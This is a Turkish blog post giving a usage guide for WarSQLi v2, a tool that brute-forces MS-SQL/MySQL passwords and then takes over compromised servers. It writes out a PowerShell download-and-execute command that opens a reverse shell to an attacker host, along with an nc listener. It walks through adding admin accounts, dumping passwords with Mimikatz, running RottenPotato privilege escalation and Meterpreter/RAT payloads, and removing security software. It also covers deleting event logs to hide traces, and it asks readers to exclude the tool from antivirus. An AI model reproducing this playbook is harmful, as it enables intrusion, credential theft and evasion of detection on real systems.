Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Blog Post

WarSQLi v2 Kullanım Rehberi

WarSQLi v2 Kullanım Rehberi

Bir süredir 2. Versiyonunu yayınlamaya çalıştığım WarSQLi’yi nihayet tamamladım. Bu yazıda WarSQLi v2’nin detaylı kullanımına değineceğim. WarSQLi; MS-SQL ve MySQL veritabanlarına brute force yöntemi ile parola denemeye yarayan bir araçtır. Ayrıca parolasını tespit ettiği MS-SQL sunucularından “bilgi toplama”, “sızma”, “hak ve yetki yükseltme” ve diğer sistemlere sıçrama özelliklerine sahip, bu alandaki en gelişmiş özellikleri içerisinde barındıran WPF (Windpws Presentation Foundation) tabanlı bir araçtır.

Çeşitli kurum ve kuruluşlara “Penetrasyon Testi” hizmetleri veren “Siber Güvenlik” uzmanı ve “Bilgi Güvenliği” uzmanı arkadaşlarımın işlerini kolaylaştırmak için otomatize araçların eksikliği fark ettim. Bu eksikliğin giderilmesi için ihtiyaç duyulan işlevsel ve hataların giderildiği bu araçlar ile hem zaman tasarrufu hem de işlerin kolaylaştırılmasını amaçlamaktayım.

Penetrasyon testlerinde en çok ihtiyaç duyulan stabil araçlardan biri de şüphesiz “SQL Audit” araçlarıdır. Bu noktada ihtiyaçların giderilmesi için WarSQLiv2 programını yazmaya karar verdim.

WarSQLi; “SQL” sunucularında (MS-SQL, MySQL,) bulunan zayıf şifre denemelerini gerçekleştirmek ve tespit edilen SQL hesaplarını kullanarak post exploitation yapmak üzere geliştirilmiştir.

İndirme Bağlantısı: https://raw.githubusercontent.com/mindspoof/WarSQLi/master/WarSQLiv2.1Setup.exe

Github Sayfası: https://github.com/mindspoof/WarSQLi

Önemli Not: Programı indirip kurduğunuzda içersine bulunan “Invoke-Mimikatz” powershell scriptinden dolayı, antivirüsünüz uyarı verebilir. Lütfen herhangi bir hataya düşmemek için WarSQLiv2’nin kurulum dizinine ayrıcalık tanıyınız.

Virus Total Raporu: https://www.virustotal.com/tr/file/891a8aadad5d7d64e984c065c4672eee44ca11489cbb1a1618a604c07e7530a6/analysis/1487685600/

SHA-1: 02710dbd9b9891ca34bc5f396c58e8dd34ecaaa3 | MD-5: c2ecd2f333c61672e0f0542b37e1df30

Önerileriniz ve hata bildirimleriniz için lütfen Github üzerinden issue açınız.

1.    WarSQLiv2 Bağımlılıklar

WarSQLiv2’ı indirip kurduktan sonra temel olarak aşağıdaki tabloda yer alan eklentiler ile birlikte gelecektir. WarSQLiv2 .NET 4.5 mimarisi ile çalışmaktadır.

DizinGörevi
ScannerYapılan tarama ile ilgili tüm verilerin bulunduğu dizin
FoundServerTarama sırasında tespit edilen sunucuların bilgilerinin yer aldığı dizin
LangLisan ayarını barındıran dizin
LoadingProgramın başlarken kullandığı görsellerin yer aldığı dizin
LootedParolası tespit edilen sunucuların bilgilerinin yer aldığı dizin
WordlistsVarsayılanda “Hızlı” ve “Genişletilmiş” taramalar için kullanılan parolaların bulunduğu dizin
MimikatzMimikatz powershell dosyasının tutulduğu dizin
DosyaGörevi
MaterialDesignColors.dllProgramın tasarımının yer aldığı kütüphane
MaterialDesignThemes.Wpf.dllWPF için programın tasarımın yer aldığı kütüphane
MySql.Data.dllMySQL’e bağlantı kurmayı sağlayan kütüphane
WarSQLiv2.exeWarSQLiv2 ana panel ve modüllerin yer aldığı uygulama
WarSQLiv2.exe.configWarSQLiv2’nin ayar dosyası

2.    Sunucu Tespiti

Programı ilk defa başlattığımızda aşağıdaki ekran ile karşılaşacağız.

1_warsqli

Uygulama ana girişi temel olarak iki kısımdan oluşmaktadır. Birinci kısımda bir ip aralığı için servis tespiti yapılabilir. İkinci kısımda ise zaten bildiğimiz, daha önce tespit ettiğimiz bir servisin ip ve port bilgisini kullanabiliriz.

2_warsqli

İlk bölüme yazdığımız tüm ip adresleri için bir aralık belirtmemiz gerekiyor. Örneğin 192.168.1.0/24 ağında bulunan bir MS-SQL sunucusu arıyor isek; IP kısmına 192.168.1.0 ve Aralık kısmına 255 yazmamız yeterli olacaktır. Bu hali ile 192.168.1.0’dan 192.168.1.255 IP adresine kadar tüm IP adresleri için MS-SQL servisini tespit etmeye çalışacaktır. MySQL için de aynı tarama işlemini gerçekleştirebiliriz. Ayrıca tarama yapacağımız ağın durumu göz önünde bulundurularak Gecikme ve Zaman Aşımı değerlerini değiştirebiliriz. IP ve Aralık kısımlarını girdikten sonra Başla butonu aktif olacaktır. Başla butonuna tıklayarak servis tespitini başlatabiliriz. SQL servisi çalıştıran tespit edilen IP adresleri ve port bilgileri sağ tarafta yer alan listenin içerisine eklenecektir.

3_warsqli

Daha önce nmap ya da benzeri bir uygulama ile tespit ettiğimiz ve IP adresini bildiğimiz bir SQL servisi mevcut ise üstteki menüyü kullanabiliriz. Buraya IP adresi ve port bilgisini girip Ekle dediğimizde, IP ve port bilgisini alttaki listeye ekleyecektir.

IP ve port bilgisinin manuel ya da uygulama üzerinden tespit edilmesi ile birlikte devam butonu aktif hale gelecektir. Artık tespit ettiğimiz SQL servisleri için parola denemeleri gerçekleştireceğimiz, “WarSQLiv2 Attack” paneline erişeceğiz.

4_warsqli

WarSQLiv2 Attack paneli yukarıdaki gibi gelecektir. Attack paneli birkaç kısımdan oluşmaktadır.

5_warsqli

Bir önceki tarama ekranında tespit edilen IP adresleri ve port bilgileri bu bölümde liste halinde gelmektedir. Bulunan tüm IP adresleri alt alta sıralanmış halde gelecektir.

6_warsqli

Bu bölümde brute force işleminin nasıl gerçekleştirileceği belirtilmektedir. Detaylandıracak olursak eğer;

Zayıf Şifre Testi (Hızlı): Bilinen 84 adet şifreyi SQL sunucusuna deneyecektir. Bu seçenek MS-SQL için “sa” ve MySQL için “root” kullanıcısı için deneme yapacaktır.

Zayıf Şifre Testi – Genişletilmiş: Bilinen 1061 adet şifreyi SQL sunucusuna deneyecektir. Bu seçenek MS-SQL için “sa” ve MySQL için “root” kullanıcısı için deneme yapacaktır.

Sabit Kullanıcı / Şifre Listesi: Bu seçenek ile belirttiğiniz bir kullanıcı için seçtiğiniz parola dosyasındaki parolaları deneyecektir. Örneğin; eyup adlı SQL kullanıcısı için parola denemesi yapacaktır.

Sabit Şifre / Kullanıcı Listesi: Bu seçenek ile belirtilen şifrenin seçilen kullanıcılar için denenmesi sağlanır. Örneğin; elinizde büyük bir kullanıcı listesi mevcut ya da oturum açabilen kullanıcılardan hangilerinin “123456” şifresini kullandığını öğrenmek için kullanılabilir.

Kullanıcı Listesi / Şifre Listesi: Bu seçenek ile seçtiniz kullanıcı listesi için seçtiğiniz şifreleri deneyecektir.

7_warsqli

Bir test başlattığımızda sonuçları yukarıdaki gibi olacaktır. Tespit edilen parolalar sağ tarafta yer alan listenin içerisine doldurulacaktır.

Herhangi bir IP için herhangi bir parola bulunması halinde “Exploit” menüsü aktif olacaktır.

3.    Exploit Menüsü ve Kullanımı

Bu bölümde MS-SQL hesabı için tespit edilen hesap bilgileri ile sistem üzerinde kod çalıştırma kısımları yer almaktadır.

8_warsqli

3.1        Exploit Menüsü ve Kullanımı

Exploit paneli WarSQLiv2’de sadece MS-SQL tarafı için desteklenmektedir. Sonraki versiyonlarda MySQL desteği de gelecektir. MS-SQL exploit menüsü 5 temel başlık altında kategorilendirilmiştir.

3.1.1    Bilgi Toplama

Bu menüde bilgi toplama ve Enumeration işlemleri için kullanılabilecek paneller mevcuttur. Parolası tespit edilen bir MS-SQL servisi hakkında bilgi toplayabilir veya enumerate edebilirsiniz.

9_warsqli

Bilgi toplama menüsü 3 ayrı menüden oluşmaktadır.

3.1.1.1       Sistem Bilgisi

Bu panelde sistem hakkında bilgiler toplayabilirsiniz. Panelde “Sistem Bilgisi”, “Ağ Kartı Detayları”, “Masaüstü Detayları”, “Kullanıcı Listesi”, “Grup Bilgileri” ve “Paylaşım Dizinleri” hakkında bilgi toplanabilmektedir.

10_warsqli

Sistem Bilgilerini Getir seçeneğini çalıştırdıktan sonra gelen sonuçlar yukarıdaki gibidir. Sırası ile çalıştırmak ve hakkında bilgi toplamak istediğiniz komutu seçerek “Göster” butonu ile bilgileri getirebilirsiniz.

3.1.1.2       Enumerate

Bu bölümde hedef sistemi enumerate edebilirsiniz. Sırası ile “MS-SQL Kullanıcıları”, “Tüm Veritabanları”, “Parolası Sona Ermeyen Kullanıcılar”, “Kullanılabilir Prosedürler”, “MS-SQL Kullanıcılarının Şifrelerini Dump Etme”, “İşletim Sisteminin Sürümü”, “İşletim Sisteminin Yüklendiği Tarih” ve “İşletim Sisteminin Yüklendiği Dizin” bilgilerini elde etmek için kullanılabilir.

11_warsqli

3.1.1.3       Yerel Kullanıcı Listeleme

Bu panel Windows’da oturum açma hak ve yetkilerine sahip kullanıcıların listesini almak için kullanılır. MS-SQL’in kurulu olduğu sistemde yer alan Windows kullanıcı hesapları alabilirsiniz.

12_warsqli

3.2.1 Sızma

Bu bölümde temel sızma işlemleri gerçekleştirilir.

13_warsqli

3.2.1.1 SQL Kullanıcısı Ekleme

Hesap bilgileri ele geçirilmiş bir sunucu için MS-SQL kullanıcısı eklemek için bu panel kullanılır. Bu bölümde dikkat edilmesi gereken husus şudur; belirlenen parolanın complex bir yapıya sahip olması gerekmektedir. MS-SQL servisinin kurulu olduğu sunucu eğer domain’e üye ise ve parola politikası belirlenmiş ise belirtilen parolanın complex olması gerekmektedir. Aksi durumda durumda hata oluşabilir. Ayrıca bu ve diğer tüm işlemler için elde edilen kullanıcı hesabının “sysadmin” hak ve yetkilerine sahip olması gerekmektedir.

14_warsqli

3.2.1.2 Yerel (Windows) Kullanıcısı Ekleme

Bu kısımda MS-SQL servisinin kurulu olduğu Windows işletim sistemine bir yerel kullanıcı ekleyebilirsiniz. Eklenen yerel kullanıcı “Administrators” grubuna dahil edilmektedir.

3.2.1.3 MS-SQL Dosya Yükleme Paneli

Hesap bilgileri ele geçirilmiş bir MS-SQL sunucusuna uzaktan dosya yüklemek için bu panel kullanılabilir. Bilgisayarımızda mevcut olan bir dosyayı, bu paneli kullanarak MS-SQL sunucusuna yükleyebiliriz.

Örneklememiz gerekirse eğer; Bilgisayarımızda bulunan bir “powershell” scriptini bu panel yardımı ile MS-SQL sunucusuna yükleyebiliriz.

Bu işlem için MS-SQL sunucusunda “WarSQLiTemp” adında geçici bir tablo oluşturulmaktadır. Bilgisayarımızdan seçtiğimiz dosya, bu tablo yardımı ile hedef MS-SQL sunucusuna gönderilmektedir. Gönderim işleminin tamamlanmasının ardından, oluşturulan geçici tablo silinmektedir.

15_warsqli

Seçtiğimiz powershell script dosyası yukarıdaki gibi belirlediğimiz dizene yazılacaktır. Daha sonra dizine erişerek yüklediğimiz dosyayı çalıştırabiliriz.

3.3.1 Sızma Sonrası

Bu menü başlığı altında, bir sızma işleminin ardından kod çalıştırma ve sistem erişimi elde etme, hak ve yetki yükseltme gibi birçok işlem gerçekleştirilir.

3.3.1.1 Powershell

WarSQLiv2’nin en güçlü olduğu kısımlardan biri Powershell konusudur. Erişim elde edilen bir MS-SQL sunucusunda powershell komutları çalıştırılarak, hak ve yetki yükseltilebilir, kullanıcı parolaları dump edilebilir, ters bağlantı (reverse connection) ya da bind connection alınabilir. Tüm yapacağımız işlemler, powershell’i ne kadar etkin kullandığımızla ilgili olacaktır.

16_warsqli

Powershell paneli yukarıdaki gibidir. Ben yukarıdaki ekranda “powershell Get-Process” komutunu çalıştırmışım ve çalışan process’lerin listelenmesini sağlamışım. Şimdi bir uygulama ile devam edelim.

Yapacağımız uygulama özetle şu adımlardan oluşacak.

  1. Uzak bir sunucudan powershell dosyasını indir
  2. İndirilen kodu çalıştır
  3. Kali sunucusuna ters bağlantı al

Uzak bir sunucudaki powershell dosyasını indirmemiz gerekiyor. Dosyayı powershell ile çekerek, komut çalıştıracağız ve çalıştırdığımız komut ile hedef MS-SQL sunucusundan Kali sunucumuza ters bağlantı alacağız. Bu işlem için “Nishang” Powershell Framework’ünde bulunan “Invoke-PowerShellTcp”yi kullanacağız.

Powershell varsayılanda 5 “Execution Policy” ile gelmektedir. Bunlar;

Restricted: Herhangi bir script çalışmaz, powershell sadece interaktif moddadır. Windows Server 2012 R2 dışındaki işletim sistemleri bu execution policy ile gelir.

All Signed: Sadece güvenilen yayıncılar tarafından imzalanmış scriptler çalışabilir.

Remote Signed: İndirilen scriptler güvenilen yayıncılar tarafından imzalandıktan sonra çalışabilir. Windows Server 2012 R2 sistemler için varsayılan moddur.

Unrestricted: Herhangi bir sınırlama olmadan bütün Windows PowerShell scriptleri çalıştırılır. İnternetten indirilen scriptler içinse kullanıcının karşısında scripti çalıştırmak için izin isteyen bir ekran çıkar.

Bypass: Herhangi bir sınırlama olmadan bütün Windows PowerShell scriptleri çalıştırılır ve kullanıcılardan herhangi bir onay istenmez.

Bu modlarında üzerinden geçtiğimize göre, hedef işletim sistemimiz de çalıştıracağımız scriptin ayrıca execution policy’sini de ayarlamamız gerekiyor.

Bunun dışında bilmemiz gereken bir diğer nokta ise; powershell scriptlerini çalıştırmak için Base64 kullanabileceğimizdir. Çünkü bazen çalıştırdığımız kodlar çok uzun ve kompleks bir yapıya sahip olurlar. Bu kodların SQL üzerinden sisteme gönderilmesinde zaman zaman sıkıntılar yaşanabilmektedir. Örneğin bazı kodları ya da komutları alt alta yazmamız gerektiğinde bunu MS-SQL üzerinden göndermek büyük sorun olacaktır. MS-SQL üzerinden gönderilen komutların tek parametre (tek satır) olarak gönderilmesi gerebiliyor. Ben bu durumda göndereceğimiz tüm powershell komutlarının Base64 ile ecrypt edilmesini tavsiye ederim. Powershell encrypt ettiğimiz komutu “-Enc” parametlesi ile çözerek çalıştıracaktır.

Bir diğer noktamızda şu; powershell komutlarını direkt Base64’e çevirerek çalıştırmamız mümkün değildir. Powershell’e gönderilecek komutun Base64 halini almak için öncelikle kodun, “ASCII” halinin “byte”a, “byte” çıktısının “Unicode” halinine ve bu Unicode halinin de Base64’e çevrilmesi gerekiyor. Aksi taktirde Base64 kodumuz çalışmayacaktır. Yani özetle, powershell üzerinden çalıştıracağımız kodun sırası ile ASCII’ye, ASCII çıktısı Unicode’a ve Unicode çıktısının da Base64’e çevrilmesi gerekiyor.

Şimdi bu durumda yahu bunla nasıl uğraşacağız denilmemesi için Powershell’in anlayacağı ve yorumlayacağı bir “Base64 Encoder” hazırladım. Powershell panelinin sol üst köşesinde bulunan “Base64 Aracı” kısmına tıklayarak bu araca erişebiliriz.

Bu kadar özet bilgiden sonra esas konumuza dönelim. Nishang’in Invoke-PowerShellTcp scriptini MS-SQL sunucusuna indirip, bunu çalıştıracağız. Powershell scriptimizi Nishang’in Github sayfasından çekebileceğimiz gibi, scripti bize ait herhangi bir web yayını yapan sunucuya da atarak indirilmesini sağlayabiliriz. Burada önemli olan nokta, eğer scripti internet üzerinden indirecek isek, MS-SQL sunucusunun internet erişiminin olması gerekmektedir. Canlı ortamların birçoğunda MS-SQL sunucusu internet erişimine sahip değildir. Bu sebeple Invoke-PowershellTcp scriptini Kali makinamızda bulunan apache servisi yardımı ile hedef sunucuya indirerek çalıştıracağız.

Kali makinamıza erişerek “service apache2 start” komutu ile apache servisini çalışır duruma getirelim. Ardından indirdiğimiz powershell scriptini “powershell.ps1” adı ile “/var/www/html” dizinine yükleyelim ve dosyayı indirebilmek için “chmod 777 powershell.ps1” komutunu girelim.

17_warsqli

Yüklediğimiz powershell.ps1 dosyası artık indirilebilir durumda olacaktır. Powershell dosyasını çekip çalıştırmak için bir powershell komutuna ihtiyacımız olacak. Kullanacağımız powershell komutu aşağıdaki gibi olacaktır.

GörevKomut
Dosya İndir ve ÇalıştırIEX (New-Object Net.WebClient).DownloadString(“http://192.168.139.164/powershell.ps1”); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.139.164 -Port 1033

Yukarıdaki komut ile 192.168.139.164 IP adresinde bulunan powershell.ps1 dosyasına http protokolü kullanılarak bağlanılacak ve string veri olarak indirilecektir. Hemen ardından indirilmiş olan dosya içerisindeki “Invoke-PowershellTcp” komutu ile bir bağlantı açılacak, açılan bağlantı Reverse connection olacak ve bizim 192.168.139.164 IP adresinin 1033 portuna bağlantı sağlayacak. Dolayısı ile bizim aynı zamanda kali sunucumuzda 1033 portunu da listen mode’a almamız gerekiyor. Bunu yapabilmek için de kali makinamızda yeni bir terminal ekranı açarak “nc -l -v -p 1033” komutu ile 1033 numaralı portumuzu listen moda alacağız.

18_warsqli

Artık gidip powershell komutunu MS-SQL sunucusunda çalıştırmamız gerekiyor. Yukarıda bahsettiğim powershell komutunu WarSQLiv2 Base64 aracı ile encrypt bir hale getirmemiz gerekiyor.

19_warsqli

Sol tarafa şifrelenecek komutumuzu yazıp, Base64’e Çevir butonuna tıkladığımızda komutun şifrelenmiş halini sağ tarafta göreceğiz. Tam bu noktada ayrıca bahsetmem gereken bir önemli husus da şu; yukarıda bahsettiğim powershell’in Execution Policy’lerini atlatmak için Bypass modunu kullanmamız gerekiyor. Kodu Base64’e çevirdiğimizde kullanmamız gereken komutun tamamını çıktı olarak görebilirsiniz. Yukarıdaki şifrelenmiş kodu kopyalayarak bir önceki ekrana geri dönelim.

20_warsqli

Kodumuzu Powershell Yöneticisi pencerindeki alana yapıştırıp, Powershell Kodu Çalıştır butonuna tıkladığımızda, powershell komutumuz arka tarafta çalışacak ve Invoke-PowershellTcp powershell scripti üzerinden reverse connection elde edeceğiz. Kodu çalıştırdıktan sonra Kali makinamızın 1033 portuna bağlantı gelecektir.

21_warsqli

Görüleceği üzere powershell kodumuz çalıştı ve reverse connection aldık. Bu ve bunun gibi bir çok scripti WarSQLiv2 – Powershell Yöneticisi ile hedef sistemde çalıştırabilirsiniz. Örneğin Mimikatz ile clear-text password’leri dump edebilirsiniz.

3.3.1.2 Görev Yöneticisi

WarSQLiv2 Görev Yöneticisi ile işletim sisteminde çalışan görevleri görüntüleyebilir veya görevleri sonlandırabilirsiniz.

22_warsqli

İşlemleri listeledikten sonra sonlandırmak istediğiniz herhangi bir göreve çift tıklayarak görevi ve bu görevin tüm alt görevlerini sonlandırabilirsiniz.

3.3.1.3 Windows Servislerini Yönet

MS-SQL servisinin yüklü olduğu Windows işletim sistemindeki diğer servisleri bu panelden durdurabilir veya başlatabilirsiniz.

23_warsqli

Herhangi bir servise sağ tıklayarak servisi durdurabilir veya başlatabilirsiniz.

3.3.1.4 Yüklü Uygulamalar

Bu panelde MS-SQL servisinin kurulu olduğu işletim sistemindeki programları listeleyebilir veya kaldırabilirsiniz.

24_warsqli

Herhangi bir uygulamayı kaldırmak için, uygulamaları listeledikten sonra kaldırmak istediğiniz uygulamaya sağ tıklayarak uygulamayı kaldırabilirsiniz. Örneğin çalışmalarınızı engelleyen bir güvenlik uygulaması mevcut ise bu uygulamayı kaldırmak için bu paneli kullanabilirsiniz.

3.3.1.5 Dosya Yöneticisi

WarSQLiv2 Dosya Yöneticisi ile MS-SQL servisinin kurulu olduğu işletim sistemindeki dosya ve dizinleri listeleyebilir, düzenleyebilir veya silebilirsiniz.

25_warsqli

Bu panele erişmeniz durumunda yukarıdaki ekran ile karşılaşacaksınız. Yerel Disk Listesi kısmında hedef işletim sisteminin Volume’lerini listeleyebilirsiniz. Herhangi bir Volume’e tıklamanız halinde alt tarafta yer alan Yerel Dizin Yöneticisi kısmına o volume ait dizin ve dosyalar listelenecektir. Yerel Dizin Yöneticisi kısmında bulunan herhangi bir dizine tıklamanız halinde o dizinin içeriğine erişebilirsiniz. Eriştiğiniz dizinlerden bir dizin yukarı çıkabilmek için “<DIR> ..” tıklamanız yeterli olacaktır.

Dosya Arama ve Komut Çalıştırma” bölümünde dosya ve dizinler için ya da işletim sistemi için komutlar çalıştırabilirsiniz. Örneğin; MS-SQL sunucusunda bulunan ve içerisinde parola barındıran “config” dosyalarını aramak için “*.config” yazarak Arama butonuna basabiliriz.

Dizinini bildiğimiz bir dosyayı bir alttaki kısımda görüntüleyebiliriz. Örneğin masaüstünde bir metin dosyası olduğunu biliyor isek; tam dizinini yazarak Göster butonuna bastığımızda o dosyanın içeriğini görüntüleyebiliriz.

Hemen altında yer alan kısımda ise herhangi bir işletim sistemi komutu çalıştırabiliriz. Örneğin bir dizindeki tüm dosya ve klasörleri silecek bir komut yazabilir yada hepsini başka bir dizine kopyalayacak komutlar yazarak Çalıştır butonuna tıklamamız yeterli olacaktır.

3.3.1.6 Windows Güvenlik Duvarı

Bu kısımda Windows Güvenlik Duvarını yönetebilirsiniz.

26_warsqli

Windows Güvenlik Duvarını açmak için “Aç” butonuna, kapatmak için de “Kapat” butonuna basmanız yeterli olacaktır. Dikkat edilmesi gereken husus; eğer Windows güvenlik duvarını açarsanız, MS-SQL’e bağlantı problemi yaşayabilirsiniz.

3.3.1.7 Ters Bağlantı – Meterpreter – RAT

Bu panel aracılığı ile MS-SQL sunucusuna uzaktan bir dosya indirebilir ve indirmiş olduğunuz dosyayı çalıştırabilirsiniz.

27_warsqli

MS-SQL sunucusu için 2 ayrı dosya indirme seçeneği mevcuttur. Bunlardan ilki BITS, diğeri ise PowerShell’dir.

Bir exe indirmek için (exe olması önemli değil herhangi bir dosya olabilir) Exe adresi kısmına uygulamanın indirilebilir adresini yazmanız ve ardından indirilecek dosyanın hangi dizine kaydedilmesi gerektiğini belirtmeniz gerekiyor. Varsayılanda tüm kullanıcı ve servis hesaplarının erişebildiği bir dizine dosyayı indirmenizi tavsiye ederim. Örneğin; Public dizini genel olarak kullanıcıların dosya yazma yetkisinin olduğu bir dizindir. İndireceğimiz dosyayı bu dizini yazarak indirebiliriz. İndirdiğimiz dosya dizine kaydedildikten sonra program tarafından çalıştırılacaktır.

BITS: Windows işletim sisteminde yer alan “BITS (Background Intelligence Transfer Service)” servisini kullanarak işletim sistemine bir dosya indirilmesini sağlamaktadır. BITS servisi ile dosya indirebilmek için BITS servisinin çalışır durumda olması gerekmektedir. Uygulama eğer BITS servisi çalışır durumda değil ise öncelikle BITS servisini başlatacak ve ardından BITS servisi üzerinden dosya indirecektir.

PowerShell: Windows işletim sistemine gömülü bir halde gelen Powershell ile bir dosya indirmek için uygulama powershell üzerinden System.Net.WebClient kütüphanesi ile belirtmiş olduğumuz adresteki dosyayı belirttiğimiz dizine belirttiğimiz isim ile kaydederek çalıştıracaktır.

3.3.1.8 Uzak Masaüstü

Bu bölümde hedef MS-SQL sunucusunun uzak masaüstü açılabilir veya kapatılabilir.

28_warsqli

Aç butonunu tıkladığınızda, uzak masaüstünü açarak Windows güvenlik duvarına uzak masa üstü için kural girerek bağlanabilmemizi sağlayacaktır.

3.3.2 Hak ve Yetki Yükseltme

Bu kısımda ele geçirilen MS-SQL sunucusundaki hak ve yetkilerin yükseltilme işlemleri yer almaktadır.

3.3.2.1 Privilege Escalation

Ele geçiren bir MS-SQL sunucusunda hak ve yetki yükseltmek için bu menü kullanılır. Temel olarak uygulama; hak ve yetki yükseltmek için “rottenpotato” uygulamasını kullanmaktadır. Bu uygulama Windows Server 2008 R2, Windows Server 2012 R2 ve Windows Server 2016 işletim sistemlerinde hak ve yetki yükseltebilme becerilerine sahiptir.

29_warsqli

Uygulama geliştiricisine ait github sayfası üzerinden belirttiğiniz dizine dosyayı indirmektedir. Bu uygulama ile hak ve yetki yükseltmek için meterpreter bağlantısına ihtiyacınız bulunmaktadır. Meterpreter bağlantısı almak için; Powershell veya Ters Bağlantı – Meterpreter – RAT menülerini kullanabiirsiniz.

3.3.2.2 Mimikatz

Bu kısımda ele geçirilmiş bir MS-SQL sunucusu üzerinde “Invoke-Mimikatz” powershell scripti ile sistemde oturum açmış kullanıcılara ait parolaları dump edebilirsiniz.

30_warsqli

WarSQLiv2 Mimikatz çalıştırmak için 2 ayrı seçenek sunmaktadır.

Local Mimikatz: Bu seçenek ile “Scanner\Mimikatz” dizininde bulunan “Invoke-Mimikatz.txt” dosyası hedef MS-SQL sunucusuna gönderilmekte ve ardından çalıştırılarak sonuç çıktıları durum kısmında görüntülenmektedir.

Remote Mimikatz: Bu seçenek ile uzak bir sunucudaki “Invoke-Mimikatz” powershell scripti çağrılarak çalıştırılır. Bu seçenek işaretlendikten sonra kendi sunucunuzdaki ya da github’daki bir Invoke-Mimikatz scriptini MS-SQL sunucusunda çalıştırabilirsiniz.

3.3.3 İzlerin Temizliği

Bu bölüm; daha önceki bölümlerde yapılan işlemlerin geride bıraktığı izleri temizler. Birçok adımda sistem üzerinde izler bırakırız. Bıraktığımız bu izleri, işlemlerin bitmesinin ardından temizlememiz gerekiyor. İzlerin temizliği temel olarak 3 bölümden oluşmaktadır.

31_warsqli

Windows Event Loglarını Sil: Bu seçenek çalıştırıldığında, “Application, Security ve System” adındaki Windows Event Logları silinmektedir.

MS-SQL Loglarını Sil: Bu seçenecek ilk olarak “sp_readerrorlog” stor procedure’ünü çalıştırmakta ve MS-SQL log dizinini tespit etmektedir. Ayrıca bu procedure’ün çalıştırılması ile birlikte, o ana kadar alınmış loglar için yeni dosyalar oluşturulmaktadır. Bu işlemin ardından log dizininde yer alan MS-SQL’e ait loglar silinmektedir.

Windows Log Hizmetini Durdur: Bu seçenek ile MS-SQL veritabanının bulunduğu sunucunun Windows Event Log servisi durdurulabilir ve loglama işlemi kapatılabilir. Bu servisin durdurulması ile birlikte log alınmasının önüne geçilebilir.

Related Posts
Write a comment